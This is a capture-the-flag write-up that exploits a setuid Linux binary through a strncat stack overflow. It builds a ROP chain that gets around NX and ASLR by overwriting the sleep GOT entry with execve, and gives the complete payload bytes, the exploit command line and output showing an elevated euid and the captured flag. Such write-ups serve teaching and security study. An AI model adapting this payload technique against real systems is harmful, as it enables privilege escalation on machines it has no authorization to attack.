This challenge was an exploitation of suid binary.
binary
Summary: ROPing buffer overflow with NX and ASLR
Code is rather simple: loading arguments, checking login, vulnerable function with strncat
:
if ( !arg_u || !arg_p || !arg_f || !arg_x || !arg_y ) show_usage_and_e(); if ( check_login(arg_u, arg_p) ) { sleep(5u); fprintf(stdout, "Login accepted!\nAdding new user to %s...\n", arg_f); vulnerable(arg_x, arg_y, arg_f); } else { fwrite("Sorry, incorrect username or password\n", 1u, 0x26u, stdout); }
int __cdecl check_login(int a1, int a2) { snprintf(s_in_bss, 0x201u, "%s:%s", a1, a2); if ( !checked ) checked = strncmp(s_in_bss, "s0m3b0dy:15n0b0dy", 0x11u) == 0; return checked; }
int __cdecl vulnerable(const char *arg_x, const char *arg_y, int arg_f) { char dest; // [sp+12h] [bp-202h]@1 char v5; // [sp+212h] [bp-2h]@1 char v6; // [sp+213h] [bp-1h]@1 v5 = strlen(arg_x); strncpy(&dest, arg_x, 0x1FFu); v6 = strlen(arg_y); strncat(&dest, arg_y, 0x200u); return fprintf(stdout, "New user %s added to %s!\n", arg_x, arg_f); }
During the ctf I solved it just by guessing the address of execl
. But now let’s do some real ROP! Let’s look for nice gadgets (I use a pretty tool ROPeMe):
0x8048559L: add eax 0x804a064 ; add [ebx+0x5d5b04c4] eax ;; 0x8048418L: pop eax ; pop ebx ; leave ;;
And usefull addresses:
.got.plt:0804A01C dd offset sleep .bss:0804A0A0 s_in_bss .rodata:08048A14 db 's',0
There’s no way to load eax
without leave
, so we need to find a good place for our ROP code. Only one place fits – s_in_bss
variable. We know it’s address and we control it’s contents (because of strncmp
we can add any data to password). So, the ROP code is:
\xb0\xa0\x04\x08 sebp = s_in_bss + 16 \xfd\x85\x04\x08 saved_ret and valid string for fprintf \xfd\x85\x04\x08 ret and valid string for sprintf \xfd\x85\x04\x08 ret and valid string for sprintf \xfd\x85\x04\x08 ret and valid string for sprintf \x18\x84\x04\x08 pop eax ; pop ebx ; leave ;; \x5c\x66\xfb\xf7 eax = (&execve - &sleep) - 0x804a064 \x58\x9b\xa9\xaa ebx = 0x804A01C(sleep@GOT) - 0x5d5b04c4
Here esp
changes because of the leave
insruction. The following ROP code must be in s_in_bss + 20
(leave
also pops another saved ebp
from s_in_bss + 16
):
s0m3b0dy:15n0b0dyAAA first 20 bytes of s_in_bss \x59\x85\x04\x08 add eax 0x804a064 ; add [ebx+0x5d5b04c4] eax ;; \x9c\x84\x04\x08 jump to sleep@GOT in PLT \x41\x41\x41\x41 ret after execve - not needed \x14\x8a\x04\x08 address of string "s"
Now, let’s run it:
$ ls -l vuln300 flag.txt -rw------- 1 hellman hellman 33 2011-03-09 16:18 flag.txt -rwsr-sr-x 1 hellman hellman 5496 2011-03-08 20:53 vuln300 $ id uid=1001(hacker) gid=1001(hacker) groups=1001(hacker) $ ln -s /bin/sh s $ ./vuln300 -us0m3b0dy -p15n0b0dyAAA$'\x59\x85\x04\x08\x9c\x84\x04\x08 \x41\x41\x41\x41\x14\x8a\x04\x08' -f -x"`perl -e 'print "A"x510;'`" -yABCD$'\xb0\xa0\x04\x08\xfd\x85\x04\x08\xfd\x85\x04\x08\xfd\x85\x04\x08 \xfd\x85\x04\x08\x18\x84\x04\x08\x5c\x66\xfb\xf7\x58\x9b\xa9\xaa' Login accepted! Adding new user to ... New user �U���� added to �U����! $ id uid=1001(hacker) gid=1001(hacker) euid=1000(hellman) egid=1000(hellman) groups=1000(hellman),1001(hacker) $ cat flag.txt 33f9876804c9a14e927e5d1d70a64ace
I wrote only 510 bytes in arg_x
, because if I fullfill it with 512 bytes, there will be no null bytes after it and strcat
will add our ROP payload a bit further, so it will become more complicated and unstable.
The flag: 33f9876804c9a14e927e5d1d70a64ace